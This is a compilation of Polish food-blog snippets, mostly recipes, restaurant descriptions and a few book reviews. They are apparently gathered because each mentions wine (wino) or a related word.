zużycie resztek – w dzisiejszej kuchni robi się ją na świeżo – z pieczywa opieczonego/wysuszonego na grillu lub w piecu. Pomidory, bazylia, cebula i oliwa z oliwek i ocet z czerwonego wina to w dalszym ciągu podstawy panzanelli. Ja robię ją na letni obiad – wielką miskę spokojnie zjadamy we dwoje, do dna – nic nie zostaje. Pomidory parzymy wrzątkiem, obieramy ze skórki

wakacjach a ona głównie takie mięso je.Trzeba jej jakoś dogodzić ;) Jeżeli lubicie kurczaka to polecam wam spróbować również inne moje przepisy: Kurczak w czosnkowym sosie Kurczak w białym winie Kurczak zapiekany w piekarniku z ananasem Makaron cannelloni nadziewany kurczakiem Kurczak barbecue  Kurczak w miodowym sosie  Naleśniki zapiekane z kurczakiem Kurczak w sosie miodowo musztardowym Szybki

naszym stole. Nie mam pojęcia dlaczego jeszcze nie wrzuciłam jeszcze tego przepisu na mojego bloga Oryginalny przepis na ten makaron zawiera dużo warzyw (marchew, pietruszka, seler naciowy) i czerwone wino, a sos dusi się na małym ogniu przez minimum 2 godziny. Moje spaghetti jest wersją okrojoną i szybszą do wykonania. Całość zajmie Wam niecałą godzinę. Spaghetti bolognese 2 duże

warzywna i możemy w kilka chwil mieć gotowe koktajlowe przekąski. Pastę warzywną oczywiście możemy zrobić sobie sami od zera, ale nie będzie to już wtedy 15 minutowa przekąska do wina.   Składniki: duża cukinia pokrojona w paski obieraczką do warzyw opakowanie gotowej pasty warzywnej – u mnie Rolnik z nutą papryki ok 20 oliwek ze słoika – odsączonych kilka

Sporo w nich było wątków kulinarnych. Wspólnym mianownikiem wszystkich dań była prostota. Postanowiłam przygotować zupę cebulową, chociaż na blogu znajdują się już trzy przepisy, bo intrygowała mnie wersja bez wina, tymianku i takich tam :) Do podsmażenia cebuli użyłam masła, ponieważ "w tym domu nie używało się oleju, wszystko musiało być na maśle". W efekcie wyszła mi całkiem smaczna, prosta

mieszkałam we Francji dokonałam wielu odkryć kulinarnych, które na stałe weszły do mojej codziennej kuchni. Zaraz obok tart, czy to słodkich czy wytrawnych oraz sosów na winie taką potrawą stało się taboule. Niby takie niepozorne danie, a jednak za każdym razem może smakować inaczej. Wszystko to kwesta dodatków. Dziś u mnie wersja cytrusowa, bardzo fajna i orzeźwiająca. Co prawda

Galaretkę truskawkową i jagodową rozpuścić każdą osobno w szklance wrzącej wody. W pucharki, szklanki lub inne naczynia rozlać galaretkę truskawkową (dla uzyskania takiego efektu jak na zdjęciu, lampki od wina położyłam do miseczek pod kątem 45 stopni), odstawić do stężenia (wstawiłam jeszcze ciepłe galaretki do lodówki, zastygły błyskawicznie). Następnie naczynie odwrócić tak by po drugiej stronie móc wlać

czekam cały rok! Jemy go z mężem ugotowany bez dodatków lub w sałatce . Sałatka z bobem to pożywne danie. Lekka i kolorowa. Zadowoli każdego bobożercę! Do tego lampka czerwonego wina i jestem w siódmym niebie. Bób to jeden z najpopularniejszych produktów spożywczych na Bliskim Wschodzie. Irańczycy przyrządzają ryż z bobem . Dodają go również do gulaszy. Najczęściej łączą

przeziębienia. Ma właściwości bakteriobójcze i przeciwzapalne. Ponadto czarnuszka poprawia trawienie, ma działanie żółciopędne oraz moczopędne. Czarne nasiona stosuje się jako dodatek do pieczywa, do przetworów warzywnych, do aromatyzowania wina oraz do produkcji oleju. Olej z czarnuszki zawiera nienasycone kwasy tłuszczowe, w tym kwas linolowy i linolenowy; olejki eteryczne mające właściwości bakteriobójcze; a także wiele witamin i składników mineralnych. Warto

Idealna kompozycja do białego półwytrawnego wina ...albo jak kto lubi ;) SKŁADNIKI: 1/2 cukini 1/2 cebuli 1 ząbek czosnku około 50 g sera gorgonzola kilka czarnych oliwek garść świeżych liści bazylii sól, świeżo mielony czarny pieprz oliwa z oliwek bagietka pszenna SPOSÓB PRZYGOTOWANIA: Cukinię, cebulę i czosnek podsmażamy na oliwie z oliwek, doprawiamy do smaku solą i pieprzem. Następnie miksujemy

przygotowane filety są niezwykle soczyste, po prostu rozpływają się w ustach, a sos na bazie wina, masła i śmietany, no cóż… poezja 😀 Składniki 1 podwójna pierś z kurczaka … Czytaj dalej Filet z kurczaka zapiekany w warzywach

książka staje się kryminałem, trzymającym w napięciu do ostatniej kartki dzięki różnym zwrotom akcji. Przyznaję, że do postaci, która za nimi stoi, nie do końca jestem przekonana. Może to wina tłumaczenia, ale w pewnym momencie pojawia się w polskiej wersji takie zdanie, które niestety przeczy zakończeniu :( dowolny dla... We dwoje Książka sir Juliana Fellowesa pt. "Czas przeszły niedoskonały" przypomina

palnik, dodać śmietanę. Wymieszać. Zupę doprawić do smaku solą i pieprzem. Podawać z natką pietruszki.   Nie ma to jak zacząć urlop lekką książką z powiewem włoskiego klimatu, dobrego wina i jedzenia w tle 😊 Taką właśnie pozycją jest "Wiedziałam, że tak będzie" Kasi Pisarskiej . Dwie prawie 40-letnie przyjaciółki, Laura i Weronika, wyruszają w podróż do Mediolanu

szklanka sosu sojowego 1/2 szklanki sosu z ostryg 1 łyżeczka skrobi kukurydzianej 2 łyżeczki pieprzu 1 łyżka cukru brązowego 2 łyżki oleju sezamowego 1/2 szklanki czerwonego półwytrawnego wina (adsbygoogle = window.adsbygoogle || []).push({}); Składniki na sos mieszamy w rondelku i gotujemy na małym ogniu do momentu zagotowania, przelewamy do butelki. Tak przygotowany sos można przechowywać około 3 tygodni w lodówce

dania. Ja moje zwyczajnie ugotowałem, ale dobrze jest odlać nieco winnego sosu i poddusić je w nim dodatkowo. Składniki: 1 kg łopatki wieprzowej (możliwie najtłustszej) 300 ml białego wytrawnego wina 1 łyżeczka kuminu 2 duże ząbki czosnku 2 listki laurowe 1 łyżeczka pasty paprykowej 1 łyżeczka soli (najlepiej morskiej) oliwa do smażenia Wykonanie: Mięso pokroić w około

English Szybka sałata z dressingiem śmietanowym (4-5 porcji) Składniki: 200 g ulubionego miksu sałat 200 g śmietany 18% 1 łyżeczka soku z cytryny lub octu z białego wina 1/2 łyżki cukru pudru sól i pieprz do smaku Przygotowanie: W małej miseczce wymieszaj śmietanę, sok z cytryny lub ocet, cukier i dopraw solą i pieprzem do smaku. Ewentualnie dodaj

najzdrowsze są oczywiście spożywane na surowo. W kuchni można je wykorzystywać wszechstronnie – do sałatek, surówek, przystawek, pierogów, makaronów, ryżu, zup, sosów, deserów, ciast, koktajli. Przetworzone – na dżemy, konfitury, wina, nalewki, likiery . Idealne ciasto na niedzielę … i nie tylko – truskawkowo waniliowa zebra. Ciasto półkruche: - 500 g mąki krupczatki - 125 g cukru pudru - 250 g schłodzonego masła - 2 żółtka

Porto. Albo do innej Coimbry czy Leirii (jeśli tylko coś tam lata). Myśli są intensywne i niemal już widzę siebie z rodziną przy talerzu grillowanych sardynek. Lub popijających lokalne wino na wieczorze fado... Marzenia należy spełniać więc niniejszym ogłaszam, że zakładam skarbonkę na wyjazd! ;) A zanim to nastąpi, wypróbujemy z Marzeną kilka tradycyjnych portugalskich przepisów i podzielimy się

oliwy). W Toskanii, w listopadzie, po zbiorze i tłoczeniu oliwek, grzanka nazywa się fettunta jest podawana bez żadnych dodatków, tylko i wyłącznie w towarzystwie świeżo wyciśniętej oliwy (i oczywiście wina). W małym garnku zagotowujemy wodę z odrobiną soli. W zlewie szykujemy sobie miskę z bardzo zimną wodą i paroma kostkami lodu. Na bulgoczący wrzątek wrzucamy bób, gotujemy na mocnym

marynaty można użyć do każdego innego rodzaju mięsa, np. łopatki czy karkówki. Ja wybrałam nieco chudszą szynkę. 1 kg szynki wieprzowej 2 cebule 300g pieczarek Marynata: 1/3 szklanki białego wina 4 łyżki musztardy 4 łyżki keczupu 3 łyżki śmietany 4 łyżki octu winnego 2 ząbki czosnku sól, pieprz, papryka słodka, papryka ostra, majeranek, estragon, tymianek, gałka muszkatołowa natka pietruszki

czerwona cebulka 1 ogórek gruntowy siekany koperek Dressing: 1/5 szklanki oleju rzepakowego 1 łyżeczka przyprawy do sałatek świeżo zmielony pieprz odrobina cukru lub miodu 1/2 łyżeczki octu z białego wina Sposób wykonania: 1. Warzywa umyć, ogórki obrać ze skórki. 2. Sałatę podzielić na mniejsze części, pomidorki przepołowić, cebulkę posiekać w półtalarki, a ogórka w plasterki. 3. Składniki dressingu przełożyć

Risotto to idealny szybki posiłek szczególnie, gdy nie chcemy gotować czegoś skomplikowanego, długo z wyszukanych składników. Risotto to prosta, włoska kuchnia, to dobry początek pysznego dnia. Ryż, mięso, wino, 20 minut i obiad gotowy. Zapraszam. Porcja na 3 osoby. Czytaj więcej

się da. W końcu bardzo szybko się kończą. Tym razem w nietypowym połączeniu - camembert, balsamiczny sos truflowy oraz słodkie truskawki dają świetną kombinacją. Zwłaszcza po upieczeniu sera zamarynowanego w winie - staje się wtedy miękki w środku, wręcz prawie płynny. Trzeba tylko pamiętać, żeby go tylko jeść póki jest gorący

dopiero, czy zaraz … po psie. Do tego co niektórzy chętnie założyli by jej smycz. Najlepiej taką, żeby z kuchni nie wychodziła. The post Przepisy na sałatki: sałatka na winie appeared first on MODA

Ciasteczka wytrawne , na przykład właśnie takie z dodatkiem grzybów, są świetną przekąską do piwa lub wina. Podczas spotkania z przyjaciółmi miło będzie coś dobrego schrupać. Naszykowałam właśnie pudło małych ciasteczek i zabieram je ze sobą jadąc "w gości" do grzybniętych znajomych. Jestem ciekawa czy im zasmakują. Mam nadzieję, że tak. Jeśli nie to zjem sama

SAŁATKA Z GRILLOWANYM ŁOSOSIEM, RZODKIEWKĄ I OGÓRKIEM to idealny pomysł na letnią przekąskę lub kolację przy kieliszku schłodzonego białego wina. Artykuł SAŁATKA Z GRILLOWANYM ŁOSOSIEM, RZODKIEWKĄ I OGÓRKIEM pochodzi z serwisu CookMagazine

obsypane mieszanką oregano, tymianku z dodatkiem pieprzu i ostrej papryczki. Kolejne są w czosnku niedźwiedzim. Dwa całkiem białe nie zostały niczym potraktowane. A kawałeczek takiego sera do wina .. uwierzcie to jest to !    Jak uwędzić

pudru 5 łyżeczek żelatyny wierzch tortu: 400 ml śmietany kremówki 36 % 1 fix do śmietany pozostałe: 1/2 słoiczka dżemu truskawkowego 1/2 galaretki truskawkowej 20 dkg truskawek poncz: 1/2 szklanki wina czerwonego 1/2 szklanki herbaty 100 g migdałów tartych Biszkopt: Do miski wbijam białka temperatura pokojowa i ubijam na sztywno, ale nie przebijam ich. Dodaję po łyżce cukru ubijam dwie

warzywa/grzyby w tempurze. Tempura sama w sobie lekka jak chmurka i idealnie chrupiąca. Ktoś tu zdecydowanie wie co i jak się robi Do tego bardzo fajny wybór sake, win oraz piwko od Trzech Kumpli. Wiecie, że mam bzika na punkcie ceramiki? Wiecie. W tutejszych czarkach na sake zakochałam się bez pamięci i po prostu MUSZĘ je mieć W jakiejś

składniki. Danie nie potrzebuje dodatków, ale w okresie wiosennym można serwować je z młodymi ziemniaczkami. Zdrowo, smacznie, kolorowo i prosto – czego więcej trzeba? No może kieliszka białego, schłodzonego wina gdy już nadejdą te upały! Ryba pieczona na warzywach: 4-5 porcji filetów z białej ryby (u mnie dorsz) 1 bakłażan 1 papryka 2 cukinie 2 pomidory 2 czerwone

zawierają także cukier i inne dodatki, np. skrobię, aromaty, zagęstniki. Agar idealnie się rozpuszcza w zimnej cieczy i wymaga gotowania przez kilka minut. Zamiast cydru możecie użyć np. białego wina. Albo soku, herbaty. To nie musi być alkohol. A dzieciom przyda się dawka zdrowia z kwiatów bzu. Pamiętajcie tylko, aby zbierać bez daleko od dróg, gdyż bardzo łatwo chłoną

fetą. Zdrowe i syte jedzenie! SKŁADNIKI 1 kurczak zagrodowy (u mnie 1,75kg) 1 naprawdę duży i okazały pęczek pietruszki 5 średnich ząbków czosnku 2 łyżki octu z czerwonego wina 1 czubata łyżeczka suszonego oregano 1 płaska łyżeczka drobnej soli ½ łyżeczki mielonego pieprzu ½ łyżeczki płatków chili ok. 1/3 szklanki oleju ryżowego lub rzepakowego SKŁADNIKI DO PODANIA miks sałat kiełki

sałata lodowa 1 mały słoiczek czarnych oliwek 1 zielony ogórek cebulka dymka 1 czerwona papryka kolorowe koktajlowe pomidorki Sos: 1/3 szklanki oleju rzepakowego 1 łyżeczka octu z białego wina 1 łyżeczka przyprawy do sałatek 1/2 łyżeczki ziół prowansalskich szczypta cukru sól, pieprz Sposób wykonania: 1. Sałatę pokroić w szerokie paski. Oliwki i pomidorki pokroić na połówki, paprykę w krótkie

firmy przemysłowe szybko znajdą wielu nabywców, cydr nie leży długo, dlatego może mieć mniejszą trwałość. Nasz cydr może poleżeć dłużej, a im dłużej leży, tym jest lepszy – tak jak wino. Nie możemy, tak jak markety, zagwarantować najniższej ceny i promocji. Jednak w marketach nie ma takiego wyboru różnych smaków soków i przetworów – dobry i nietypowy asortyment musi trochę kosztować

przez 8 minut. TEEKANNE World Forest Fruits – Ta herbatka zaskakuje pełnym smakiem malin i jeżyn, z nutą słodkich truskawek i i borówek. Napar jest intensywny, w kolorze czerwonego wina i bardzo aromatyczny . skład- Jabłko, hibiskus, liście słodkich jeżyn, skórka pomarańczy, aromat malinowy (3%), aromat jeżynowy, jeżyna (1%), borówka (1%), truskawka (1%), malina (1%),regulator kwasowości, kwas cytrynowy TEEKANNE

Szparagi w parmezanowej panierce od Magdy Klimczak z Daretocook zobaczcie tylko na to zdjęcie..ślinka cieknie pss..zróbcie odrazu potrójną porcje! 2. Magiczne  Risotto ze szparagami, cykorią i winem musującym   - czy może być lepsza zapowiedź? Przepis od Tomka Magiczny Składnik 3. Wielbiciele Zup dla Was też znalazłam wspaniały przepis...    Zupa ze szparagami i winem Przepis

Piękne i słoneczne dni zazwyczaj spędzamy poza domem, dlatego posiłki przyrządzamy na szybko. Tym razem zrobiliśmy szybką zapiekankę 'na winie', czyli... ziemniaki, parówka i cebula - to wszystko czego potrzebujemy, by wykonać szybki i smaczny obiad.  Składniki: ziemniaki 1 cebula parówki ser Ilość ziemniaków i parówek zależy od tego jakie duże masz naczynie żaroodporne. Sos: 200 ml śmietany

jest znakomitym dodatkiem do soków np z malinami, a także do placków drożdżowych czy drożdżówek. Znany jest także kompot z rabarbaru. Roślina ta może być także wykorzystywana do produkcji wina owocowego. Możemy go także jeść na surowo z cukrem. Ma kwaskowaty smak. Zawiera żelazo,kwas jabłkowy i kwas szczawiowy wskutek czego usuwa wapń z organizmu i może prowadzić

większej ilości bez dużego wysiłku. 6 sztuk udek z kurczaka lub ćwiartek 2 łyżki oleju rzepakowego do smażenia SOS BARBECUE: 1 duża cebula 2 ząbki czosnku 1/2 szklanki wina czerwonego wytrawnego 2 łyżki cukru brązowego 1 szklanka przecieru pomidorowego 1 łyżka musztardy sarepskiej 1/4 szklanki sosu sojowego 1 łyżka sosu worcester sól pieprz czarny mielony Cebulę pokroić w drobną

które nie raz kradnie moje serce. Gruszki, feta i szynka parmeńska to składniki, które idealnie pasują do Prosecco a każdy kto czyta mojego bloga wie, że to moje ulubione wino. Z tą pizzą komponuje się bezbłędnie! Składniki (na 1 pizze): 3/4 szklanki semoliny 3/4 szklanki mąki pszennej typ 00  3-4 łyżki oliwy z oliwek  szczypta bazylii

się na porządkowaniu przestrzeni życiowej i pozbywaniu się niepotrzebnych przedmiotów, o tyle Sarah Knight uczy jak porządkować swoje emocje i pozbywać się niepotrzebnego nikomu balastu w postaci dojmującego poczucia winy. Początkowo podchodziłam do Magii olewania ze sporą dozą nieufności. No bo jak to tak? Tak po prostu sobie coś odpuścić i nagle przestać się przejmować i zamartwiać? Sarah Knight jednak(...)metoda rzeczywiście ma sens i jest możliwa do zastosowania przez każdego i w odniesieniu do każdej życiowej sytuacji. W kolejnych krokach uczy jak pozbyć się balastu poczucia winy i jak przeorganizować swój system priorytetów na nowo. Pokazuje jak wyciszyć negatywne emocje, przede wszystkim te wobec samych siebie. I po prostu wrzucić na luz. Dzięki temu zaś nasze życie wzbogaci się

Można tu zjeść słodkości z różnych stron świata oraz napić się wybornej kawy czy herbaty. Dostępne również menu śniadaniowe czy na lekki lunch oraz wybór piwa i wina (już wkrótce).  Właścicielki podkreślają, że w kuchni nie używają półproduktów - pracują na naturalnych składnikach , a wszystkie kremy i ciasta wykonują samodzielnie od zera [źródło: Trójmiasto ]. Ta autorska cukiernia zlokalizowana jest

altcafe ] .  Można się tu zjawić zarówno na śniadanie , jak i na lunch . Dostępne odrębne menu przyjazne dla maluchów . Do popicia domowa lemoniada lub świeży sok , choć piwko oraz wino też się znajdzie. Oczywiście królują tu aromatyczna kawa i apetyczne desery . Miejscówa na rogu okazałego kompleksu usługowo-mieszkalnego Altus , w pobliżu SKM Redłowo Gdynia . Kawiarnia jest niewidoczna od głównej

grać w kryminałach. Jednak wchodzicie, zamawiacie i dostajecie coś, co demoluje wam wszystkie smaki, które pamiętacie. Karta jest krótka, kilka pozycji – wołowina, wieprzowina i gęś. Do tego kilka win, piwo, woda i lemoniady. Powiem wam, że to jest całkiem prosty i genialny koncept. Róbmy mało, ale dobrze. Nie będę się rozpisywać o poszczególnych kanapkach, bo nie będę

pieprz i zamieszaj porządnie. Nie chcesz, żeby czosnek się przypalił. W razie potrzeby możesz dorzucić trochę masła, ale wilgoć grzybów powinna na tym etapie wystarczyć. Teraz czas na wino. Wlej wermuta na patelnię, dodaj musztardę i zacznij mieszać. Tutaj musisz się skupić, bo sos dość szybko się zredukuje. Możesz zmniejszyć ogień pod patelnią, żeby dać sobie więcej czasu

sosie. Wyszło bardzo pysznie i każdemu smakowało, polecam każdemu kto lubi nie standardowe dania. Polecam również inne przepisy na sosy z kurczakiem Kurczak w czosnkowym sosie Kurczak w białym winie Kurczak w sosie miodowo musztardowym Kurczak zapiekany w piekarniku z ananasem Makaron cannelloni nadziewany kurczakiem Kurczak barbecue  Składniki 500 g piersi z kurczaka 1/4 ananasa 1 pomarańczowa papryka

dostanie się do niego odrobina żółtka, a także kiedy miska i trzepaczka będą lekko tłuste. Jeśli tort będą jadły tylko osoby dorosłe , wtedy można sok porzeczkowy zamienić na czerwone wino i po wymieszaniu z sokiem pomarańczowym nasączyć ciasto. Może i Ty upieczesz coś dla kogoś bliskiego z okazji Światowego Dnia Pieczenia z Kasią

myślą o mojej jeszcze 3 osobowej rodzinie, czyli najmłodszym 3 letnim synku, który jak wiadomo je wiele rzeczy ale raczej tych delikatniejszych smakowo.  Dlatego ten gulasz nie zawiera wina -  mmh aż poczułam zapach unoszący się nad garnkiem ze wspaniałym winnym gulaszem pisząc Wam ten przepis. Ten gulasz nie zawiera nawet mąki i śmietany - tak, tak jest

pestkami granatu Pieczona owsianka z czekoladą Pieczona owsianka pomarańczowa Pieczona owsianka z kokosem i orzechami włoskimi Sałatka z pomarańczy z żurawiną i płatkami owsianymi Zapiekane owoce w różowym winie pod płatkami owsianymi

dziwne skrzywienie na punkcie tych zdjęć bo... strasznie mi się podobają i najchętniej podzieliłabym się z Wami wszystkimi dostępnymi. Ograniczę się jednak do kilku. Nie wiem gdzie leży wina, najprawdopodobniej w tych kolorach, które przyciągają mój wzrok i kontraście, który uwielbiam na tych zdjęciach. Nie wiem, nie wiem! Miałam dzisiaj najcudowniejszy, najowocniejszy w zdjęcia poranek, od niepamiętnych czasów

dłuższy spacer a brzuszek zapełnić trzeba . Źródło białka i witamin.  Makaron jest dobry sam w sobie, wystarczy dodać kilka warzyw i przypraw a  z kieliszkiem białego wytrawnego wina stworzy duet idealny. Składniki na 3-4 porcje 25 dag makaronu świderki 1 cukinia ½ brokułu 2 cebule 3 ząbki czosnku 1 puszka cieciorki gotowanej na parze 7-8 sztuk

dodatek do mięsnego dania, a latem może spokojnie pełnić rolę dania głównego. Jest chrupiąca, soczysta, pełna barw i zdrowa. Nic mi więcej nie potrzeba, no może lampkę dobrego wina, pasującego do mojej kompozycji! Sałatka ziemniaczana z kapustą pekińską i pomidorkami / 1 porcja Składniki: 3 małe ziemniaki, ugotowane w mundurkach 5 pomidorków koktajlowych 1/4 małej, czerwonej cebuli gruby plaster kapusty

razem mam coś dla fanów podjadania pyszny przekąsek w czasie oglądania meczów lub filmów. Dip serowo-piwny jest aromatyczny i idealny do wina lub piwa. Dobrze zblendowany jest idealnym dodatkiem do krakersów, tacos, czy paluszków. Można go podawać razem z selerem naciowym, czy też marchewką. Sos worchestershire i musztarda dijon w nim zawarte, a także tabasco nadają bardzo ciekawych

maju. Po powrocie do domu trzeba je było jakoś przyrządzić. Zrobiłam je w panierce, z odrobiną parmezanu, na ciepło. Udały się znakomicie. Były pyszne, chrupiące, z lampką białego wina smakowały wyśmienicie. Polecam. Koniecznie spróbujcie, właśnie w maju. Składniki: • pęczek młodych zielonych szparagów • 10 cieniutkich plasterków boczku • 2 jajka • bułka tarta • garść startego parmezanu (opcjonalnie) • sól, pieprz • olej Sposób przygotowania

często pytacie jak gotować jajka dopisaliśmy też krótką instrukcję ;) Porcje: 10 Czas przygotowania: 15 minut Składniki: 5 ząbków czosnku 1 pęczek kolendry 1 awokado 1 łyżka octu z białego wina 100 ml oliwy ½ łyżeczki mielonego kminku lub madras curry 1/2 papryczki chili (opcjonalnie) Sól i pieprz do smaku 10 jajek      Przygotowanie: Sos mojo verd do jajek

preferencji) 2 średnie dojrzałe pomidory 20 orzechów laskowych obranych z łupinek 40 g płatków migdałowych 6 gałązek natki pietruszki 1 duża kromka czerstwego chleba 4 łyżki octu z czerwonego wina 8 łyżek oliwy  sól do smaku Przygotowanie sosu romesco : Piekarnik nastawiony na górną grzałkę (grill) nagrzej do 190 stopni C. Papryki przekrój na pół, usuń z nich gniazda

dopiero, czy zaraz … po psie. Do tego co niektórzy chętnie założyli by jej smycz. Najlepiej taką, żeby z kuchni nie wychodziła. The post Przepisy na sałatki: sałatka na winie appeared first on MODA

pomidory, sparzone, obrane ze skóry, pokrojone w kostkę 1 cukinia pokrojona w kostkę pęczek natki pietruszki, drobno posiekanej 300 g ryżu do paelli lub risotto 200 ml białego wina 1 litr bulionu drobiowego oliwa kilka nitek szafranu 1/2 łyżeczki kurkumy sól pieprz 1/2 łyżeczki papryki ostrej w proszku 1/2 łyżeczki papryki słodkiej w proszku cytryna kilka czarnych oliwek grillowana

ciepłą wodą).  Piekarnik włączamy na 180 C.  Gdy ciasto wyrośnie przekładamy je na stolnicę, blat i odrywamy nie wielkie kawałki wałkujemy, wycinamy krążki ( ja kieliszkiem do wina ) i na środku krążka kładziemy łyżkę nie za dużą naszego farszu i zawijamy najpierw boki do środka ( zachodzą na siebie ) potem końce zwijamy do środka tworząc wałek, bułeczkę. Takie bułeczki

bardzo prosty i bardzo dobry. Znów podany z kaszą kuskus, a bo tak jakoś łatwiej i szybciej. Zapraszam również na moje inne  przepisy na kurczaka: Kurczak w białym winie Kurczak w sosie miodowo musztardowym Makaron cannelloni z kurczakiem Makaron cannelloni z kurczakiem barbecue Składniki: 500 g  piersi z kurczaka 200 ml słodkiej śmietany 1 łyżka ketchupu

głębokim oleju. Składniki: 2 szklanki mąki - u mnie luksusowa pszenna  MŁYNOMAG 4 łyżki cukru skórka z 1 cytryny 4 łyżki zimnego masła 2 jajka 12 łyżek białego wytrawnego wina nadzienie: 500 g ricotty 500 ml śmietany 30% laska wanilii cukier puder do smaku dodatkowo: posiekane orzechy Wykonanie: Z podanych składników zagniatamy ciasto. Bardzo cienko rozwałkowujemy, kroimy na paseczki

odwiedzić, a trzy - wyjątkowej kuchni wartej specjalnej podróży. La Maison ma charakteryzować się nie tylko niespotykanym dotąd w kraju wysokim standardem gotowania, ale także obsługi oraz bardzo szeroką kartą win, która będzie się składała ze 120 pozycji. Szef kuchni  Arkadiusz Wilamowski, postanowił zaprosić Nas na wyjątkową kolację, gdzie mogliśmy skosztować prawdziwych rarytasów. To była uczta dla podniebienia! Ogromna

pozostały w blaszce sos. Na przystawkę lub lunch to 4 małe porcje – na obiad czy kolację ta ilość składników (kurczę, same afrodyzjaki!) zaspokoi głód dwóch dorosłych osób. Schłodzone białe wino do popicia jak najbardziej wskazane! SKŁADNIKI 1 pęczek młodych zielonych szparagów 300-350g mrożonych krewetek (średnich obranych lub dużych w pancerzach) ½ pęczka natki pietruszki 80g masła 82% tłuszczu

można użyć termoobiegu) – do czasu, aż focaccia ładnie się zarumieni. Najlepiej smakuje jeszcze ciepła, maczana w dobrej jakości oliwie z oliwek. Do tego świetnie komponuje się lampka ulubionego wina i dobre towarzystwo – nic więcej nie trzeba! * Można zastąpić 25 g świeżych Post Focaccia z rozmarynem pochodzi z bloga Poezja smaku

wziął się zwyczaj obchodzenia Tłustego Czwartku? Geneza tego święta sięga pogaństwa. Był to dzień, w którym świętowano odejście zimy i przyjście wiosny. Ucztowanie polegało na jedzeniu tłustych mięs, piciu wina, a na zagryzkę były pączki z ciasta chlebowego nadziewane słoniną. Tak świętowali Rzymianie (za Wikipedią). A my teraz zrobimy pączki na słodko. Potrzebujemy na ciasto : Czytaj więcej

rozpoznać dobrą szynką, od tej średniej jakości. Wiem, z czego i jak robione są bardzo popularne paszteciki w małych aluminiowych opakowaniach. Byłam również w kilku zakładach wytwarzania piwa i wina. W olbrzymim zakładzie, produkującym jogurty i produkty mleczne, w cukrowni i wielu innych, odwiedziłam kilka laboratoriów w tych zakładach. Wiedza zdobyta podczas dziesięciu lat nauki, spowodowała, że jestem bardzo

patelnię wlać olej i dodać posiekaną drobno cebulkę, posiekane papryczki chilli i czosnek. Smażyć na małym ogniu aż wszystko zmięknie i lekko się ze złoci. Następnie wlać wino i gotować aż winno prawie wyparuje. Wlać śmietanę, wymieszać. Wrzucić owoce morza, połowę natki pietruszki. Doprawić solą i świeżo mielonym pieprzem. Gotować od 1-2 minut. Zdjąć z ognia i polać

temperatury piekarnika i pieczemy w 180⁰C przez 60 minut. Po wyjęciu dajemy tarcie chwilę ostygnąć, kroimy na trójkątne kawałki i podajemy. Białe czy różowe, lekko owocowe i świeże wino bardzo do popicia wskazane! Quiche naprawdę robi się szybko. Najdłużej jak sami widzicie schodzi ze zrobieniem i schłodzeniem ciasta – dlatego zawsze warto zrobić na raz kilka porcji kruchego ciasta

Ramsaya “World Kitchen”, która jest kopalnią doskonałych przepisów na każdą okazję! To nie jest moja pierwsza propozycja z tej książki, kiedyś wypróbowałam przepis na mule w białym winie , które także okazały się wręcz obłędne, polecam. W oryginalnej wersji przepisu na steki z tuńczyka Gordon użył do ich przełożenia cytryny, które ja zamieniłam na pomarańcze tylko dlatego

zeszłym miesiącu na urlopie w Madrycie i przy okazji odwiedziliśmy urokliwe Toledo. Kupiliśmy tam lokalne sery, między innym ser kozi Curado dojrzewający pół roku, wytwarzany z dodatkiem czerwonego wina, również regionalnego, stąd bardzo ciekawy kolor. Ponieważ ser jest wyrazisty w smaku (takie lubię najbardziej), świetnie nadaje się do sałatek. Wystarczy trochę zieleniny, kilka dobrych składników i sałatka gotowa

Należę do miłośników włoskich smaków. Uwielbiam włoskie desery, dobrą kawę i wino. Makarony, sery i oliwki staram się zawsze mieć w domowej szafce. Dzisiejszy deser to połączenie dwóch prodktów: przepyszna ricotta i pachnąca, rozpuszczalna kawa. To zdecydowanie jeden z najlepszych i najprostszych deserów, jakie kiedykolwiek przygotowałam! I dealny na każdą porę roku, gdy tylko zatęsknimy za słoneczną Italią, zróbmy

efekt doskonały. Niezwykłe były też wołowe ogony uduszone w obłędnym zawiesistym sosie przygotowanym na bazie selera naciowego, cebuli, marchewki, pulpy z pomidora i oczywiście dużej ilości czerwonego wytrawnego wina.  Bardzo pozytywnie zaskoczył mnie również deser, czyli smażone ryżowe placuszki. Były bardzo delikatne i aksamitne w środku, a z zewnątrz chrupiące. Cudnie pachniały cytryną, a jedzone na gorąco

był to awaryjny wykon Miał powstać blok, który robiłam setki razy. Jednak tym razem, właśnie teraz, kiedy był naprawdę potrzebny (mąż zmieniał pracę), nie wyszedł. Nie wiem czy to wina tłuszczu czy czegoś innego. Nie wyszedł i kropka. Była już niemal 22, ja zostałam z talerzem pokruszonych herbatników, bakaliami i problemem, co zrobić… Przypomniały mi się trufle

użyć świeżego imbiru bądź mielonego.  Na słoiczek sosu potrzebujemy 200 g żurawiny mrożonej 1 i 1/2 łyżeczki mielonego imbiru (można dodać mniej lub więcej) 1/3 szklanki wytrawnego białego wina 1/3 łyżeczki mielonego pieprzu (można dodać mniej lub więcej) 2 ziarenka kardamonu lub szczypta mielonego ( jeśli macie ziarna kardamonu, wyłuskajcie z niego drobniutkie ziarenka) 1/4 łyżeczki gałki muszkatołowej

polędwiczek zaplanowałem podać pieczone ziemniaki hasselback oraz dip z mocno czosnkowego zielonego ogórka, dlatego idealnie pasującą techniką obróbki będzie grillowanie. Zazwyczaj polędwiczki obsmażam i duszę w białym winie tworząc różne sosy serowe, śmietanowe, koperkowe, grzybowe lub pieprzowe, ale dzisiaj trochę brakuję mi czasu. Wszystko możemy przygotować wcześniej, mięso marynujemy w przyprawach i odstawiamy do lodówki, ziemniaki obieramy nacinamy

prawda zdjęcia nie są najlepsze, to wina tego że były robione na szybko tuż przed podaniem obiadu i konsumpcją tego mięsa. Ale jako że moja pierwsza dziczyzna wyszła mi wybornie postanowiłam się nią z wami podzielić. Mięso było robione na poprzednie święta ale na Wielkanoc też się przyda. Udziec wyszedł kruchy, delikatny i bardzo soczysty. Mimo pierwszego szoku

punktem potrawy jest roladka z perliczki, skrywająca w sobie świeżą śliwkę, która nie dominuje nad łagodnym smakiem mięsa, co śliwka suszona mogłaby uczynić. Smak wspaniale dopełnia sos z czerwonego wina. Jednak moim ulubionym fragmentem układanki była komosa podana z granatem. Uwielbiam użycie tych owoców w wytrawnych daniach — ich słodko-cierpki smak zdecydowanie pobudza zmysły. Przyjemnym dodatkiem na talerzu była

